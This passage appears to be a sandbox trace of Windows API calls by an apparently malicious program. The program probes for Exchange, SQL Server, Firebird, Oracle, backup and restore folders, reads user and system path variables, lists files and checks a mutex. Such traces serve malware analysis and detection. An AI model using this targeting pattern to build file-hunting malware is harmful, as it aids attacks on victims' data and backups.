(pMem=0x553188) returned 0x44000c [0047.110] GlobalUnlock (hMem=0x44000c) returned 0 [0047.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0047.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@섪R샾R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0047.111] GetLastError () returned 0x3 [0047.111] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0047.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18㿬Q\x181")) returned 0xffffffff [0047.111] GetLastError () returned 0x2 [0047.112] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⎌R企@\x18?T\x18;")) returned 0xffffffff [0047.112] GetLastError () returned 0x2 [0047.112] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18D")) returned 0xffffffff [0047.113] GetLastError () returned 0x2 [0047.113] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18⎌R\x18j")) returned 0xffffffff [0047.113] GetLastError () returned 0x2 [0047.113] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18q")) returned 0xffffffff [0047.114] GetLastError () returned 0x2 [0047.114] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\⎈RP") returned 6 [0047.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@❌R企@\x18?T\x18y")) returned 0xffffffff [0047.121] GetLastError () returned 0x2 [0047.121] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18?T\x18\x81")) returned 0xffffffff [0047.122] GetLastError () returned 0x2 [0047.122] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18\x88")) returned 0xffffffff [0047.122] GetLastError () returned 0x2 [0047.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@❌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.123] GetLastError () returned 0x2 [0047.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18?T\x18\x97")) returned 0xffffffff [0047.123] GetLastError () returned 0x2 [0047.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.124] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.124] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.124] GlobalUnlock (hMem=0x44000c) returned 0 [0047.124] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.124] GlobalLock (hMem=0x440004) returned 0x553188 [0047.124] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.124] GlobalUnlock (hMem=0x44000c) returned 0 [0047.124] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.124] GlobalUnlock (hMem=0x440004) returned 0 [0047.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.124] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.124] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.125] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.125] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.125] GlobalLock (hMem=0x440004) returned 0x551178 [0047.125] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.125] GlobalUnlock (hMem=0x440004) returned 0 [0047.125] GlobalLock (hMem=0x440004) returned 0x551178 [0047.125] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.125] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.125] GlobalUnlock (hMem=0x440004) returned 0 [0047.125] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.125] GlobalUnlock (hMem=0x44000c) returned 0 [0047.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.126] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0047.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.127] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.127] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.127] GlobalUnlock (hMem=0x44000c) returned 0 [0047.127] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.127] GlobalLock (hMem=0x440004) returned 0x553188 [0047.127] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.127] GlobalUnlock (hMem=0x44000c) returned 0 [0047.127] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.127] GlobalUnlock (hMem=0x440004) returned 0 [0047.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.127] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.127] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.127] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.128] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.128] GlobalLock (hMem=0x440004) returned 0x552180 [0047.128] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.128] GlobalUnlock (hMem=0x440004) returned 0 [0047.128] GlobalLock (hMem=0x440004) returned 0x552180 [0047.128] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.128] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.128] GlobalUnlock (hMem=0x440004) returned 0 [0047.128] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.128] GlobalUnlock (hMem=0x44000c) returned 0 [0047.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.128] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0047.128] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.128] GetLastError () returned 0x12 [0047.128] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.129] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.129] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.129] GlobalUnlock (hMem=0x44000c) returned 0 [0047.129] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.129] GlobalLock (hMem=0x440004) returned 0x553188 [0047.129] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.129] GlobalUnlock (hMem=0x44000c) returned 0 [0047.129] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.129] GlobalUnlock (hMem=0x440004) returned 0 [0047.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.129] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.129] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.129] GlobalLock (hMem=0x440004) returned 0x551178 [0047.129] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.129] GlobalUnlock (hMem=0x440004) returned 0 [0047.129] GlobalLock (hMem=0x440004) returned 0x551178 [0047.129] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.129] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.129] GlobalUnlock (hMem=0x440004) returned 0 [0047.129] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.129] GlobalUnlock (hMem=0x44000c) returned 0 [0047.129] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.129] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, 